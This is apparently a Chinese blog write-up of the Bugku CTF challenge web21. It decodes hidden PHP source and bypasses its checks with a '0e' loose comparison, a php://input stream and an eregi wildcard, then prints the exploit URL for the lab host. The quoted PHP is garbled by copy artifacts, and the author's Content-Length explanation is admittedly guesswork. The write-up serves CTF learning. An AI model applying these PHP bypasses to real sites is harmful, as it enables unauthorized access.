bugku~web21

bugku~web21

题目
web21
never never never give up !!!

打开题目后发现

bugku~web21_第1张图片
没有什么线索,打开F12
bugku~web21_第2张图片
发现里面有一个1p.html(手动微笑
那我们就进去看看
bugku~web21_第3张图片
结果直接发生了重定向
我们就打开F12来看看
bugku~web21_第4张图片
发现是302跳转,直接就可以进行bp抓包
bugku~web21_第5张图片
发现中间JTIy…GJTNF为base64编码,我们进行解码得到
bugku~web21_第6张图片
发现还是某种编码方式,猜测是url编码(那就继续解码
解码得到
";if(!$_GET[‘id’])
{
header(‘Location: hello.php?id=1’);
exit();
}
i d = id= id=_GET[‘id’];
a = a= a=_GET[‘a’];
b = b= b=_GET[‘b’];
if(stripos($a,’.’))
{
echo ‘no no no no no no no’;
return ;
}
d a t a = @ f i l e g e t c o n t e n t s ( data = @file_get_contents( data=@filegetcontents(a,‘r’);
if($data==“bugku is a nice plateform!” and i d = = 0 a n d s t r l e n ( id==0 and strlen( id==0andstrlen(b)>5 and eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4)
{
$flag = “flag{***********}”
}
else
{
print “never never never give up !!!”;
}

?>
通过代码审计可以得知,id要为0但又不能为假,故可以构造0e开头的,a可以通过php://input来进行然绕过,而b可以用eregi的漏洞来绕过,比如用*123456(b的第一位不能为4,且位数要大于5)
构造url:http://114.67.246.176:16369/hello.php?id=0e1&a=php://input&b=*123456

继续用bp抓包,然后输入bugku is a nice plateform! 即可得到flag
bugku~web21_第7张图片
为什么id要为0e1,而不能为0e123或者0e12345等等 (痛苦面具

因为博主也是试过来的,只有0e1的conten-length为26(至于为什么只能为26,博主也不是特别清楚),才能得到flag

希望这篇文章能帮助到你

你可能感兴趣的:(#,bugku,web)